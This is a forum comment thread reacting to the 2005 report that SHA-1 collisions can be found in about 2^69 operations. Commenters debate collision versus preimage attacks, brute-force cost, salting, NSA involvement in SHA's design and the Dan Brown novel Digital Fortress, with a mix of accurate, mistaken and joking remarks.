SHA-1 Broken

Nanolith writes "From Bruce Schneier's weblog: 'SHA-1 has been broken. Not a reduced-round version. Not a simplified version. The real thing. The research team of Xiaoyun Wang, Yiqun Lisa Yin, and Hongbo Yu (mostly from Shandong University in China) have been quietly circulating a paper announcing their results...'" Note, though, that Schneier also writes "The paper isn't generally available yet. At this point I can't tell if the attack is real, but the paper looks good and this is a reputable research team."

Comments

Sigh

[Anonymous Coward]

And I just got done upgrading from MD5.

Re:Sigh

[dasunt]

About a month ago, I needed a mechanism for password hashes.

After some research, I decided that SHA1 was more secure than MD5.

So I hunted down some good public domain SHA1 code, read through it, and added it to my code.

Thanks /.!

Re:Sigh

[Janitha]

Can you hear the sound... its the sound of admins all around the world crying. And I thought my SHA-1 rainbow tables were awsome.

Re:Sigh

[ottothecow]

Well, without /. they would be quietly circulating a paper on how to break your hashes and it would still be quiet.

Maybe its easier to upgrade from SHA1 than it was from MD5.

Re:Sigh

[man_ls]

hah. I have LM and NTLM rainbow tables. SHA-1 tables might be useful for some other things, though.

Re:Sigh

[amacleod98]

Aww. Poor wee admins.

Re:Sigh

[mlyle]

A mechanism to find collisions does not affect SHA-1's strength as a password hashing algorithm or its use in a hashed message authentication code. So you'll be just fine.

Re:Sigh

[Frymaster]

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

A mechanism to find collisions does not affect SHA-1's strength as a password hashing algorithm or its use in a hashed message authentication code. So you'll be just fine.Z

really? well, i'm not the real frymaster. what do you say to that?

-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFCEsqV7Kzi+hL3je0RAl7iAJ41SsgjgwMvrS5+1OLLYp pYkXUPOgCgzSQS c42DLVAjebLYs2VTPkT/iIc= =8699 -----END PGP SIGNATURE-----

Re:Sigh

[hdparm]

And yet, you find a time to post here. What a royally-sized asshole you are.

Re:Sigh

[aneroid]

which is why i keep function names for hashing as variables. as long as u're using one piece of info, just keep changing the hash name from a config file.

even if the info is from more than one var, it can be used as a combo of variables that function would have access to. change the combo in config. if the language doesn't permit it, include a header file who's contents are changed. this would have to be done over time anyways, as new crypto algos are discovered/invented(?). use foocrypt_func(N, x1, x2...xN)

to upgrade, alter table and update (if there's a db), change function_var value, info vars. re-compile headers if req for foocrypt_func.

Re:Sigh

[Frobnicator]

Yes, they found a way to break the hash function. But as the parent said, it does not mean it's suddenly invalid. Sure, the group found a way to break the algorithim, but look at According to TFA a collision can be found in about 2**69 hash operations. That's 590295810358705651712 attempts before they can find a match, as opposed to the 2**80 (1208925819614629174706176) that was expected before the paper. While the paper means it is orders of magnitude less work, it still means a lot of work for the attacker. Lets look at two relevant examples: disc images and passwords. Lets say I have an ISO disk image. I hack it, and want to modify some of the 'junk' bits using their algorithm. I'd still need to perform 590295810358705651712 hash operations on that image. Computing the hash of a disc is a slow operation. That's not something I could do in a day, week, or even a few months. Perhaps if I had a massivly parallel computer available, I could do it, but not as an individual. For a password, hopefully your system would lock the account long before there are that many failed login attempts. However, if your attacker has that kind of resources, you can assume it is feasable for them to find a hash collision. That's really only significant for governments, multi-national organizations, and other major enterprises, but not for most people.

Re:Sigh

[B3ryllium]

You do realize, of course, that the recent preponderance of IRC-controlled botnets and such could easily be applied to a computational challenge such as this?

Imagine tens of thousands of way-overpowered virus-infected 3Ghz Dell machines chewing threw the data?

Then imagine a beowulf cluster of those.

Re:Sigh

[Anonymous Coward]

Yes, 2^69 is a very big number, but this is just the first crack at it (sorry for the pun). What will likely follow is refined analysis that can reduce the number of operations even more. Remember 2^64 was broken by distributed.net a couple years back (the RC5 project). Although that took awhile, 2^64 is not in the realm of safe anymore, so SHA1 is just on the margin here. Sure, it's still fine as a password hash for now, but there's no telling where this break will lead.

Re:Sigh

[Nos.]

Well maybe then they wouldn't be attempting to send my mail server spam every 2 minutes from what appears to be some very poor version of a dictionary attack. Its fun to watch some of the attempts. It appears a lot of harvesters pull out 'and' in an email address. In my case, this is actually a *good* thing.

Re:Sigh

[Craigj0]

For a password, hopefully your system would lock the account long before there are that many failed login attempts. However, if your attacker has that kind of resources, you can assume it is feasable for them to find a hash collision. That's really only significant for governments, multi-national organizations, and other major enterprises, but not for most people.

That is not how it works. THey are using the birthday paradox, that is why brute force is 2^80 not 2^160. Put simple the birthday paradox finds two pieces of data with the same hash. It does NOT (as so many posts believe) allow you to find a matching hash to a fixed piece of data. (This would take 2^160, perhaps less with the weaknesses discovered but not close to 2^69). Hence this does not allow you to break passwords.

Re:Sigh

[hobbicik]

Lets say I have an ISO disk image. I hack it, and want to modify some of the 'junk' bits using their algorithm. I'd still need to perform 590295810358705651712 hash operations on that image. Computing the hash of a disc is a slow operation. That's not something I could do in a day, week, or even a few months. Perhaps if I had a massivly parallel computer available, I could do it, but not as an individual.

No need to compute the hash of a whole disc. You can calculate the internal state of SHA-1 after processing the whole image except - lets say - the last kilobyte (you do it ONCE) and find a collision by modifying only this last kilobyte with great chance of succeeding. There are 2^8192 variants of the last kilobyte, but only 2^160 variants of the hash - that's why you'll probably succeed.

Re:Sigh

[fulgan]

Actually, you're both righ and wrong.

You're right because 2^69 operation is an awfull lot of work: as someone of Bruce Schneier's web log said, if you had a processor clocked at 4ghz capable of testing one hash per cycle, it would still take 4000 year to breakj a single hash. Clearly, this isn't feasible today or, at least, not without a lot of resources (hugh clusters of code-breaking computers).

You're wrong because you don't have to parse the whole file: SHA-1 works by dividing the data to computer into chunks of identical size (padding them if necessray, SHA-1 uses blocks of 512 bits) and applying a set of operation to each block in turn, using the previous block as initial state.

So it means that, if you have a way to create a collision between to hash function, all you have to do to "patch" your ISO image is work on the LAST chunk of data and make sure it ends up with the correct state. So you'll have to computer the hash of the full ISO only once per image.

Re:Sigh

[skids]

To play loose with resource constraints:

$hash = $passwd->calchash;
@samehash = $passwd->findcollisions;
delete(@unchecked_passwd s{@samehash});

...still helps with brute force. Not so useful with dictionaries.

Re:Sigh

[skids]

Ignore me. Way past bedtime.

Re:Sigh

[mlyle]

Actually, you would still need to perform 2^159 operations to match with an arbitrary disk image. Only if you can pick both what the person is going to hash and your desired collision do you currently have an attack of order 2^69.

Re:Sigh

[mlyle]

OK, and then let's do some math.

Let's say you have 2^20 (1048576) machines. Let's say each can do 2^20 hashes per second (this is optimistic). Then it will take you 2^29 seconds to find a hash collision-- this is about 17 years.

This doesn't even let you collide with an arbitrary thing-- rather, you can provide something to someone to sign, and have another message that hashes to the same thing.

It is worrisome, though, because perhaps attacks will improve and it'll continue to get cheaper.

Re:Sigh

[Anonymous Coward]

Actually your example is wrong. The 2^69 refers to finding collisions between two random plaintexts, not finding a collision for a given plaintext.

Re:Sigh

[mlyle]

Yes, but you still need to try 2^159 last blocks on average. This is 730750818665451459101842416358141509827966271488. That is a big number. If you have 2^20 machines doing 2^10 hash operations per second, it will take you 680564733841876926926749214863536422912
seconds. That's 7876906641688390357948486283142782 days. Or 21580566141612028377941058309980 years.

The current attack circulating doesn't let you collide with a pre-existing hash quickly. Of course, since SHA-1 has been shown to be weak in other ways, it's more likely that an attack such as that will be found in the near future.

Re:Sigh

[SnowZero]

I just had an interesting thought; For hashing applications it seems it would be more secure to run a hash over two concatenated copies of the data. That way there's no end block which you can change and easily compute new hashes. I wonder why hash programs don't already use this technique. Obviously it'd be 2x slower, but it seems to me it would be worth the added cost in general.

Re:Sigh

[aled]

Are a cryptograpy expert and mathematic that studied formally the problem? because this kind of solution usually just doesn't add to the power of algorithm.

Re:Sigh

[Anonymous Coward]

>For a password, hopefully your system would lock the account long before there are that many failed login attempts

The point of a hashed password is in case someone can actually read the hash which they can then take away to process.

The nemesis of hashed passwords is databases with pre and post hashed values for quick lookup. A 10 digit password hash db isn't undoable these days. ....anyway Passwords are SO last century...

Re:Sigh

[GodLived]

I believe the attack you describe would only work if the legitimate data you wished to change occurred in the same block as the dummy pad.

SHA-1 breaks data into 512 bit blocks and processes each block independently - then it adds the result to 5 registers and processes the next block. If you wished to silently change some important piece of data using the state-saving technique, you'd have to find a pad within the same 512 bit block and modify it in such a way to get the same output state as the original unmodified block.

512 = 2^9, which is very much smaller than the 2^160 bits that must exactly match, so the probability of success using this technique is infinitessimal. Put another way, the cryptographer reviewers probably thought about this initially and quickly ruled it out.

Re:Sigh

[jlcooke]

Should have listend to me.

http://groups.google.ca/groups?q=author:cooke+sh a- 1+2005&hl=en&lr=&selm=2IwkQ-2gU-1%40gated-at.bofh. it&rnum=1

I said SHA-1 would fall around now.

Re:Sigh

[CastrTroy]

Yes, but changing just the last chunk may or may not produce all possible hashes. You may find that you go through all the possibilities with that last chunk, and still not end up with a correct hash.

It's all nice to say you can find a collision, this could help to break passwords. However, if you are using it to create a message digest, you'd probably be very hard pressed to find a message which creates the same digest, but would the message make any sense.

Example: usings MD5 to verify tar.gz files you could probably produce another file that has the same hash. But what are the odds of this file could actually be unzipped, and untarred, and produce an actual set of files that looks like it is supposed to, but actually does something else.

Re:Sigh

[jlcooke]

link http://groups.google.ca/groups?q=author:cooke+sha- 1+2005&hl=en&lr=&selm=2IwkQ-2gU-1%40gated-at.bofh. it&rnum=1

Re:Sigh

[Anonymous Coward]

Something like the SETI program?

Re:Sigh

[Anonymous Coward]

Imagine tens of thousands of way-overpowered virus-infected 3Ghz Dell machines chewing threw the data?

Where are they throwing the data, and will it make the digital native american cry?

Re:Sigh

[hobbicik]

SHA-1 breaks data into 512 bit blocks and processes each block independently - then it adds the result to 5 registers and processes the next block. If you wished to silently change some important piece of data using the state-saving technique, you'd have to find a pad within the same 512 bit block and modify it in such a way to get the same output state as the original unmodified block.

Not neccessarily. I can modify the last block to compensate for the change I made in the middle - so that the final hash would remain unchanged. Nobody cares about intermediate states - it's the final result that counts.

The state-saving technique just reduces the size of data that needs to be processed - one block for each of 2^512 input variants instead of the whole ISO image (around 13000000 blocks)

512 = 2^9, which is very much smaller than the 2^160 bits that must exactly match, so the probability of success using this technique is infinitessimal. Put another way, the cryptographer reviewers probably thought about this initially and quickly ruled it out.

SHA-1 produces 160-bit hashes, that's 2^160 possible hashes. By changing just the last 512-bit block of the text I can generate 2^512 different inputs for SHA-1 with big chance of finding one that gives the result I need. Calculating 2^512 hashes is still a time consuming-task though.

Re:Sigh

[Anonymous Coward]

I was thinking something close to that, but more along the lines of taking two or more hashes. One that is just of the data, and the others of the data + some other data. Your idea of doing the data + itself would be a good source of the other data.

Re:Sigh

[Anonymous Coward]

Goatse-sized, even.

Re:Sigh

[Anonymous Coward]

> Yes, but you still need to try 2^159 last blocks on average.

No, worst case. That would be 2^80 on average. That's still pretty damn expensive.

And am I smoking crack or is this crack (uh, different crack) a brute-force attack? So a hash can be broken by brute force ... so can vault doors, given sufficient brute force. How does this make SHA-1 broken?

Re:Sigh

[Oopsz]

always salt your hash!

if you keep the salt relatively obscure it increases the difficulty of using a pass that matches the hash enormously (as your login algo salts the password then hashes it, yielding a different digest than hashing the passwd directly)

Re:Sigh

[GodLived]

512 = 2^9, which is very much smaller than the 2^160 bits...

Good catch, I meant to say the 2^9 possible combinations are far fewer than the 2^160 possible hashes.

By changing just the last 512-bit block of the text I can generate 2^512 different inputs for SHA-1...

True, and by doing that, you are bound to find two hashes that are identical with high probability; however,

1. there is no assurance that the algorithm will generate a repeat of the specific hash value that you want (that would assume uniformity of the function, which may be true) and
2. even at a billion rehashes/second, this will take on order of 1x10^143 years to accomplish.

Now, with birthday paradoxes, you would not likely need to generate all these combinations... and with the claim of the alleged paper going around, you would not really need to generate many combinations at all!

Re:Sigh

[xxxJonBoyxxx]

A Chinese research group now says that collisions can be found in the full SHA-1 in 2**69 hash operations, much less than the brute-force attack of 2**80 operations based on the hash length.

If I am eyeballing this correctly, this makes the "cracked" SHA-1 just a little tougher (32x) than MD-5 was thought to be (2**64 operations) before MD5 was last cracked. (I believe MD5 is now considered to be 2**42 operations strong; one of the papers referenced below suggests the "1 hour IBM" crack was performed at a 2**25 operation level of difficulty which would only be possible with some additional knowledge.)

Again, if I am eyeballing this correctly, SHA-1 is still currently 134,217,728x more secure than MD5. Before the SHA-1 announcement, SHA1 was thought to be 274,877,906,944x more secure than MD5, and originally, SHA-1 was thought to be just 65,536x more secure than MD5. (MD5 has been "more cracked" than SHA-1 in recent months.)

Re:Sigh

[Anonymous Coward]

> Calculating 2^512 hashes is still a time consuming-task though....

That, my friend, is the understatement of the billenium.

Re:Sigh

[UWC]

Half of 2^160 is 2^159. 2^80 is the square root of 2^160. Regardless, all of these are amazingly huge numbers, though some are more amazingly huge than others. Crazy convenient binary math is something I've only recently begun to automatically register.

Also, I know next to nothing about any of these encryption schemes, and feel pretty stupid reading most of this thread. Except the endless stream of "ROT-13" jokes and their variants, spewed by people who think they're cryptocomedians or baiting the uninitiated so they can let them know how stupid they are for not realizing that 13 is half of 26 (hm. Now I feel bad for correcting you on a similar mistake), and the mods who feel obliged to mod them up to prove their own inside knowledge of this commonly circulated gag.

Tangent-rant a-go-go!

Re:Sigh

[Anonymous Coward]

actually it would take 1/2 that time on average. So only 8 years of constant grinding.

Re:Sigh

[Anonymous Coward]

No, the attack is on order 2^59 operations average, from the article.

Re:Sigh

[Venim]

Then imagine half these machines having aol dialup service and you have one helluva slow beowulf :>

Info on what exactly SHA-1 is ...

[Hulkster]

For those interested, here is the actual detailed/lengthy FIPS PUB 180-1 from NIST, as typical, Wikipedia has a nice summary, and the W3 Folks have a short snippet ...

Re:Info on what exactly SHA-1 is ...

[interiot]

So SHA-1 was created by the NSA, and was broken nine years after it was released. Is there any chance that the NSA knew it had a secret weakness, and promoted it for that specific reason?

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

The NSA has a history of making suggestions to prevent early weaknesses. They probably estimated it would be good for a decade.

Re:Info on what exactly SHA-1 is ...

[digitalchinky]

In realistic terms, would you have predicted such rapid advancement in computer processing power over the last 9 years? Ok, so maybe the answer to that question is yes, but encryption schemes are not specifically meant to protect things forever, just the length of time that the information contained could be damaging in the 'wrong hands'

Any encryption scheme that lasts about 10 years has given a pretty good service I would think.

Re:Info on what exactly SHA-1 is ...

[jayhawk88]

Isn't this a plot from a Dan Brown book?

Re:Info on what exactly SHA-1 is ...

[myowntrueself]

I just assume that any encryption system which it is legal to export from the USA is so permitted because the NSA know they can crack it.

If its legally exportable, its crackable.

But on the other hand, anything that they *say* its illegal to export could just be a double blind.

The real answer is to not encrypt anything, just use indecipherable jargon talk... oh wait, this is IT...

Re:Info on what exactly SHA-1 is ...

[Kris_J]

I'll tell you when I get through the three beside my bed at the moment.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

Any encryption scheme that lasts about 10 years has given a pretty good service I would think.

SHA-1 is not an encryption scheme, it's a cryptographic one-way hash function.

There's a significant difference.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

A hashing algorithm is not an encryption system.

Re:Info on what exactly SHA-1 is ...

[Omnifarious]

I don't think the NSA would gain a lot from a weakness in a secure hash algorithm. In an encryption algorithm, yes, but not a secure hash algorithm.

Re:Info on what exactly SHA-1 is ...

[thatnerdguy]

yup, it's called Digital Fortress

Re:Info on what exactly SHA-1 is ...

[OverlordQ]

DES had a weakness nobody but the NSA knew about, so they recommended changes to it without saying the reasons for them. years later an attack was found against DES, but the NSA changes prevented it from being useful. Why would they change their tune to SHA-1?

Re:Info on what exactly SHA-1 is ...

[myowntrueself]

So what? All this data I've got which I 'encrypted' with SHA-1 is just worthless noise now? Damn I knew I should have checked it before deleting the originals...

Re:Info on what exactly SHA-1 is ...

[BradleyUffner]

Someone took "Digital Fortress" a bit too seriously...

Re:Info on what exactly SHA-1 is ...

[JDizzy]

In realistic terms, would you have predicted such rapid advancement in computer processing power over the last 9 years? Ok, so maybe the answer to that question is yes, but

Or since this is an uber secret, way ahead type group of folks, maybe they knew it would be broken back then, and used it to their advantage against you all this time.

Re:Info on what exactly SHA-1 is ...

[pchan-]

So SHA-1 was created by the NSA, and was broken nine years after it was released. Is there any chance that the NSA knew it had a secret weakness, and promoted it for that specific reason?

I don't know about this, but when SHA (the Secure Hash Algorithm) was submitted as an approved algorithm for government use, the NSA reviewed it and suggested a minor change. That modified algorithm is what we now know as SHA-1. It was a few years before public-sector cryptographers caught on to what the significance of the changes was (I wish I could explain it, but it is beyond me).

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

...and it SUCKED ASS. Utterly impossible to take seriously, poorly written, ludicrously melodramatic, and technologically sad. He should stick to religion, which is all about made-up shit anyway.

Re:Info on what exactly SHA-1 is ...

[digitalchinky]

The 'concept' is still valid whether it be encryption or hashing. Apologies for my mistaken terminology.

Re:Info on what exactly SHA-1 is ...

[ftobin]

SHA-1 is not used for encryption, it is used for message authentication. Part of the NSA's mandate is to secure government traffic; it would gain little from promoting a broken digest algorithm. It arguably might have an interest in promoting a broken encryption algorithm, but SHA-1 is used for digital signatures.

Re:Info on what exactly SHA-1 is ...

[nicnak]

Any encryption scheme that lasts about 10 years has given a pretty good service I would think.

If your encryption scheme only lasted 10 years than nothing would be safe. For example people have credit card numbers that have been the same for the past 10 years, and bank account numbers and not to mention important trade/goverment secrets.

Besides, your question, who whold have predicted such rapid advancement in computer processing power, Ever heard of Moore's Law?
disclaimer, Moore's law is not a law but an observation

-nicnak

Re:Info on what exactly SHA-1 is ...

[Vellmont]

In realistic terms, would you have predicted such rapid advancement in computer processing power over the last 9 years?

Only a fool would have ignored the doubling of processing power every 18 months that's gone on for more than 20 years.

but encryption schemes are not specifically meant to protect things forever, just the length of time that the information contained could be damaging in the 'wrong hands'

As someone else pointed out, SHA isn't an encryption scheme. Nevertheless you're technically right, but effectively wrong. SHA was designed to be resistant to brute force attacks for quite a long time. 160 bits is quite hard to produce a brute-force attack, so it being broken after a mere 10 years is extremely unexpected.

Re:Info on what exactly SHA-1 is ...

[Arngautr]

Well, as per your link, it looks like it was set to be reviewed next October.

Qualifications: While it is the intent of this standard to specify a secure hash algorithm, conformance to this standard does not assure that a particular implementation is secure. The responsible authority in each agency or department shall assure that an overall implementation provides an acceptable level of security. This standard will be reviewed every five years in order to assess its adequacy.

Impressive stuff, still takes a lot to break it, but 1/2048th the time likely marks the beginning of the end. Even if a collision would detected would it be likely the fake messege make sense (ie run or use real words)?

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

uh, you're a moron

Re:Info on what exactly SHA-1 is ...

[ottffssent]

Sure, there's a chance, but it's fairly remote.

The original SHA was released in 1993. 2 years later, SHA-1 was released (by the NSA, through NIST) to address unspecified weakness in the original algorithm. In 1998, a weakness in the original SHA was discovered, and in 2004 various attacks on SHA, SHA-1, and other hashes were published. It is unknown which, if any, of the known SHA weaknesses were discovered by the NSA and resulted in the 1995 release of SHA-1, though at least one known attack affects SHA but not SHA-1. It seems likely that if the NSA were capable of releasing SHA-1 as the original SHA in 1993, they would have done so. Thus, it appears that the NSA discovered a weakness in SHA in 2 years that took the academic community 5-10 years to discover. The gap is not as wide as it was when DES was released, but it's still very impressive.

End brief synthesis. Check out the wikipedia article (and links) for more information. That's where I got mine.

Re:Info on what exactly SHA-1 is ...

[Ninja Programmer]

DES had a weakness nobody but the NSA knew about, so they recommended changes to it without saying the reasons for them. years later an attack was found against DES, but the NSA changes prevented it from being useful. Why would they change their tune to SHA-1?

You know, of course, that the NSA did the same thing with SHA right? The original algorithm submitted was SHA-0, then the NSA recommended an unexplained minor change.

Last August SHA-0 was broken, so their tweak appears to have added about 6 months of extra life for SHA-1.

Re:Info on what exactly SHA-1 is ...

[SiliconEntity]

I don't know about this, but when SHA (the Secure Hash Algorithm) was submitted as an approved algorithm for government use, the NSA reviewed it and suggested a minor change. That modified algorithm is what we now know as SHA-1.

Note quite right. The NSA invented SHA, but then a couple of years later discovered a weakness and made a slight change, to create SHA-1. The older version is now called SHA-0. According to Schneier's report, SHA-0 was broken even worse by the Chinese team, 2^39 work for a collision vs 2^69 for SHA-1. So the NSA's change was important and made a major increase in the strength of the algorithm.

It was a few years before public-sector cryptographers caught on to what the significance of the changes was (I wish I could explain it, but it is beyond me).

They just added a 1 bit rotate in one phase of the algorithm. Without it, SHA tends to keep the bits lined up and there is less mixing.

Re:Info on what exactly SHA-1 is ...

[digitalchinky]

Your statements are a little contradictory. You seem to be saying that you could predict the increase in computing power based on Moore's little transistor comment to a couple of his work mates, yet you (might be) are suprised that a hashing scheme dreamed up ten years ago is now obsolete?

I've got a handle on how the government stores its 'secret stuff' - it's called an 'air gap' This air gap also extends to 'solid concrete and steel' for all the 'really secret stuff'.

Any company with an ounce of integrity and common sense would do something similar - at a minimum a network lead with the transmit leads cut (or vice versa depending on perspective - I'm sure you know what I mean by that)

Re:Info on what exactly SHA-1 is ...

[jessecurry]

although I'll probably get modded down for this I have to say that after reading all of Dan Brown's books I find his plot structure to be exactly the same in every novel, and he exercises very poor character development.
It's almost as if the man had a NYT Best seller creating mad-lib.
His Idea of character development is giving them a disability, or a tweed coat :)

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

There's a significant difference.

and you're a pretentious, supercilious, pseudo-intellectual fuck. mod this shite down.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

Cryptographic technologies are not broken by increases in computing power, but rather by the ingenuity of researchers.

Any cryptographic scheme whose security relies on computers not being strong enough 'for at least ten years' is very poorly designed, really having no security at all.

Of course, any scheme can be broken in finite time, but such times are measured in ages of the universe, not in anything remotely close to a human scale.

Re:Info on what exactly SHA-1 is ...

[voisine]

If a foreign itelligence agency is using sha-1 to authenticate communicas to their agents in the US, it might be usefull for the NSA to be able spoof a message to them ostensibly from their agency's headquarters.

Re:Info on what exactly SHA-1 is ...

[bergeron76]

[cough] Republican President [cough]

Re:Info on what exactly SHA-1 is ...

[Myria]

That's not quite correct. One-way hashers and block ciphers are really the same thing, just used in different modes of operation. See SHACAL on Wikipedia.

Melissa

Re:Info on what exactly SHA-1 is ...

[Bitsy Boffin]

The concept is not the same.

Encryption is not in any way hashing, and hashing is not in any way encryption.

A one way hash cannot in any way be decrypted, thats why it's called one way. It's physically not possible.

A hash is not used to "protect" the data you are hashing, it's used to identify the data you are hashing. You can take an unhashed value, hash it and compare it with another hashed value to identify that the two original values were very likely the same value

The strength of a hash is simply how likely it is that the two values were the same value, or conversly, how likely it is that they were not the same value.

When two distinct values have the same resultant hash, we call that a "collision". It should be obvious that there are an infinite number of collisions for a fixed-length hash value - pidgeon hole principle shows you that.

And SHA1 is not "broken", not yet, to be "broken" we would have to have a feasible way to generate a string of data that when hashed produces the same hash as an *already known* hash.

If we could generate collisions for KNOWN hashes, in a reasonable time, then we could use those collisions to falsly identify to systems that use a hash of the original (still unknown) value.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

Is there any chance that the NSA knew it had a secret weakness, and promoted it for that specific reason?

My guess is unlikely. However, if you look at the original components of the Clipper chip (SHA-0/SHA-1, Skipjack, DSA-1024, KEA-1024), all were breakable with, worst case, about 2**80 operations. It seems like they wanted to make sure that even if Clipper somehow got out of hand and the key escrow broke down, they could still get in (though not easily, barring any shortcut attacks).

I don't know that SHA-1 was ever approved for use with classified systems, but for quite some time, it has been mandatory for all government agencies that aren't bound by the National Security Act or the Atomic Secrets Act to use it if they need a hash. So if they did know at the time, they really fucked over a lot of other parts of the government, as well as major commercial interests. Of course, if doing so allowed them to attack a system deployed in a hostile power, that might have been considered worth it.

2**69 operations is a nontrivial amount of work for one single collision, even for a place like the NSA. I'm not terribly worried, on the practical side (though this is a pretty huge break in terms of new research, I can't wait to read this paper).

Re:Info on what exactly SHA-1 is ...

[strider44]

mmm. As an "educated" guy, I find that the only appeal of Dan Brown is his layer of mystique over what is really just a badly written book.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

yeah and it sucked just as bad as sha-1 being broken...

Re:Info on what exactly SHA-1 is ...

[pchan-]

Thanks for the correction. I think I have my SHA-1 and DES stories mixed.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

>DES had a weakness nobody but the NSA knew about, >so they recommended changes to it without saying >the reasons for them. years later an attack was >found against DES, but the NSA changes prevented it >from being useful. Why would they change their tune >to SHA-1?

Because it was irrevelant. In the 1970s the NSA already had enough fast storage to keep the entire 64/56-bit codespace of DES on magnetic media, so they could break the encryption by trying all possible key combinations against the intercepted message. At the time people did not know the NSA already had several terabyte storage capacity, which made cryptographic DES cracking unnecessary.

Otherwise, there was a misunderstanding between IBM and NSA, the spooks understood DES is only going to be realized in hardware chip, so they were not very much concerned about proliferation. However, IBM somehow published the code and soon all general purpose computers were running DES in software.

Re:Info on what exactly SHA-1 is ...

[Eivind]

Not quite.

For quite a few applications the hash is broken even if I cannot easily find a second string with the same hash as one given. Even if I can "only" at will find two strings with the same hash, that is a pretty serious weakness.

I could, for example, create two documents with the same hash, have you sign one, and then claim you signed the other one. Since the hashes are the same your digital signature will be valid for both.

For other applications, like replacing a signed document with another without being detected you're rigth -- that would only work if one could easily find a document with a given hash.

Re:Info on what exactly SHA-1 is ...

[luferbu]

[cough] Republican President [cough]

Sorry, I can't parse your message.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

it's called an 'air gap'

otherwise known as a wireless network?

Re:Info on what exactly SHA-1 is ...

[the_quark]

His statements aren't contradictory: this failure in this hashing system didn't come about from the increase in computing speeds. Cryptographic and hashing functions are designed such that the most effecient attack is a "brute force attack," in other words, simply trying every possible combination. Then, you choose a key size (or digest length in SHA-1's case) that you calculate that, even with the predictable doubling of computing power every 18 months, will still result in the message taking an awfully long time to brute force. You're usually looking at numbers in the 50-100 year time frame before even major-world-government-level attackers can brute force it.

This isn't an attack based on, all of the sudden, "Wow! Computers got faster than we thought and that 50 year time horizon is all of the sudden six months!" These attackers analyzed SHA-1 and figured out a way to do it faster than brute force. However fast the computer it's being run on. So it isn't contradictory to say "I would've predicted that computers would've gotten this fast, but I'm very surprised SHA-1 only lasted ten years." If the hypothesis of its designers was correct (that the most effecient attack against it was the brute-force), then even the march of computing power shouldn't have caused it any problems for many decades to come. It was designed with the increase in computing power in mind.

Re:Info on what exactly SHA-1 is ...

[aled]

They are not. You are completly wrong. And SHACAL "is a 160-bit block cipher based on the cryptographic hash function SHA-1." They modified a function inside SHA-1 to make SHACAL.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

It can be modified to be a real cipher, though. SHACAL uses the compression function of SHA-1 to encrypt, and runs the compression function in reverse to decrypt.

Re:Info on what exactly SHA-1 is ...

[Kjella]

For quite a few applications the hash is broken even if I cannot easily find a second string with the same hash as one given. (...) I could, for example, create two documents with the same hash, have you sign one, and then claim you signed the other one. Since the hashes are the same your digital signature will be valid for both.

Yes, but as long as both strings are random, the chances of one of them actually being something sensible is far far less than the hash strength, and the chances of both are even less. Take a random 1000-letter (250-word) statement, at 8 bits each the chances of actually getting a specific string is 1 to 2^8192. To get two specific ones, 1 to 2^16384.

Even if you could produce billions of string pairs per second, the sun would likely burn out before you found a reasonable pair to use. And even if you were able to produce a colliding hash from a known one, you'd still be producing endless amounts of junk. It's good for poisoning the transfers but nothing more. Only if you could modify an existing data to match the known data (e.g. hide the modification in unused whitespace/metadata) would your attack be possible.

Kjella

Re:Info on what exactly SHA-1 is ...

[Kjella]

Except of course, not all crypto research happen in the US (and I expect even less after the DMCA). For example, Rijndael also known as AES was developed in Europe. The US could never restrict its export even if they wanted to (except maybe reexport, but that's a silly term when it comes to information).

RSA is an example of an extremely trivial algorithm to do public key cryptography, and once known it could easily be used with any key strength. Except for the libraries needed to handle 1000bit+ numbers, it is basicly c = m^e mod n to encrypt and m = c^d mod n to decrypt. Unless they've broken this with quantum cryptography (and I certainly don't think they had that in the 70s when this algorithm was invented), the cat is out of the bag.

Hashing algorithms are something of an exception, but also those that are least dangerous. If you could spoof identities (assymetric crypto) or transfers (symmetric crypto), that'd be a big issue. But a little bit of collisions, possible poisoning.. unless you can spoof a known hash with partially predetermined data (i.e. take an existing piece of data and append something to match a hash), it isn't really that big an issue either.

Kjella

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

Too much caffeine this morning, eh?

SHACAL uses the same compression function as SHA-1; it also has an inverted compression function of SHA-1 used to decrypt SHACAL messages. The exact same compression function.

It is possible to make any block cipher a hash; it is possible to make any hash a block cipher. The length of the digest will be the block size of the block cipher; the key size is how many bytes we run through the hash's compression function.

I think doing a hash based on AES (Rijndael) will make a good SHA replacement. Such as Whirlpool.

Re:Info on what exactly SHA-1 is ...

[jpc]

There was a small last minute change to the algorithm just before release. The note in one version of the source says:

The following is my SHA (FIPS 180) code updated to allow use of the "fixed"
SHA, thanks to Jim Gillogly and an anonymous contributor for the information on
what's changed in the new version. The fix is a simple change which involves
adding a single rotate in the initial expansion function. It is unknown
whether this is an optimal solution to the problem which was discovered in the
SHA or whether it's simply a bandaid which fixes the problem with a minimum of
effort (for example the reengineering of a great many Capstone chips).

So there is some suspicion that something that was never revealed was known at the time.

Re:Info on what exactly SHA-1 is ...

[cpeikert]

SHA-1 is not used for encryption, it is used for message authentication.

SHA-1 is used for what it is used for. It is a hashing primitive. Hashing primitives are used for encryption too; e.g., for achieving chosen-ciphertext security via OAEP.

Re:Info on what exactly SHA-1 is ...

[halleluja]

(...) According to Schneier's report, SHA-0 was broken even worse by the Chinese team of 2^39 man for a collision vs 2^69 for SHA-1. So the NSA's change was important and made a major increase in the strength of the algorithm. So, according to Moore's law, the Chinese team doubles every 18 months, which makes breaking SHA-1 feasible in (18*30) months = 45 yrs, no reason to switch to SHA-ME5.

Re:Info on what exactly SHA-1 is ...

[forrestt]

I could, for example, create two documents with the same hash, have you sign one, and then claim you signed the other one. Since the hashes are the same your digital signature will be valid for both.

Yes, but the second would be gibberish. For a password, this wouldn't matter. But for a document, being able to be "read" is VERY important. Who cares if a document comes out being signed by them that looks like someone pounded on a keyboard with their fists to produce it?

